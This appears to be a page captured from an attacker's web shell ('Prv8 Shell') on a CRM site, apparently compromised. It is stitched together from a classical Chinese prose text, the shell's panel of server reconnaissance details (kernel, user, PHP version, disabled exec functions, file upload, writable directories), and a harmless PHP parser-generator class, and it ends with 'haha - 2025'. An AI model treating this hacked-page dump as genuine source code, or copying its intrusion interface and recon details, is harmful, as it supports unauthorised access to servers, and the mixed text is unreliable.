晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/pkg/vtiger/extensions/Webservices/third-party/ParserGenerator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/pkg/vtiger/extensions/Webservices/third-party/ParserGenerator/Rule.php
<?php
/**
 * PHP_ParserGenerator, a php 5 parser generator.
 * 
 * This is a direct port of the Lemon parser generator, found at
 * {@link http://www.hwaci.com/sw/lemon/}
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to version 3.01 of the PHP license
 * that is available through the world-wide-web at the following URI:
 * http://www.php.net/license/3_01.txt.  If you did not receive a copy of
 * the PHP License and are unable to obtain it through the web, please
 * send a note to license@php.net so we can mail you a copy immediately.
 *
 * @category   php
 * @package    PHP_ParserGenerator
 * @author     Gregory Beaver <cellog@php.net>
 * @copyright  2006 Gregory Beaver
 * @license    http://www.php.net/license/3_01.txt  PHP License 3.01
 * @version    CVS: $Id$
 * @since      File available since Release 0.1.0
 */
/**
 * Each production rule in the grammar is stored in this class
 * 
 * @package    PHP_ParserGenerator
 * @author     Gregory Beaver <cellog@php.net>
 * @copyright  2006 Gregory Beaver
 * @license    http://www.php.net/license/3_01.txt  PHP License 3.01
 * @version    0.1.0
 * @since      Class available since Release 0.1.0
 */
class PHP_ParserGenerator_Rule {
    /**
     * Left-hand side of the rule
     * @var array an array of {@link PHP_ParserGenerator_Symbol} objects
     */
    public $lhs;
    /**
     * Alias for the LHS (NULL if none)
     *
     * @var array
     */
    public $lhsalias = array();
    /**
     * Line number for the rule
     * @var int
     */
    public $ruleline;
    /**
     * Number of right-hand side symbols
     */
    public $nrhs;
    /**
     * The right-hand side symbols
     * @var array an array of {@link PHP_ParserGenerator_Symbol} objects
     */
    public $rhs;
    /**
     * Aliases for each right-hand side symbol, or null if no alis.
     * 
     * In this rule:
     * <pre>
     * foo ::= BAR(A) baz(B).
     * </pre>
     * 
     * The right-hand side aliases are A for BAR, and B for baz.
     * @var array aliases are indexed by the right-hand side symbol index.
     */
    public $rhsalias = array();
    /**
     * Line number at which code begins
     * @var int
     */
    public $line;
    /**
     * The code executed when this rule is reduced
     * 
     * <pre>
     * foo(R) ::= BAR(A) baz(B). {R = A + B;}
     * </pre>
     * 
     * In the rule above, the code is "R = A + B;"
     * @var string|0
     */
    public $code;
    /**
     * Precedence symbol for this rule
     * @var PHP_ParserGenerator_Symbol
     */
    public $precsym;
    /**
     * An index number for this rule
     * 
     * Used in both naming of reduce functions and determining which rule code
     * to use for reduce actions
     * @var int
     */
    public $index;
    /**
     * True if this rule is ever reduced
     * @var boolean
     */
    public $canReduce;
    /**
     * Next rule with the same left-hand side
     * @var PHP_ParserGenerator_Rule|0
     */
    public $nextlhs;
    /**
     * Next rule in the global list
     * @var PHP_ParserGenerator_Rule|0
     */
    public $next;
}

haha - 2025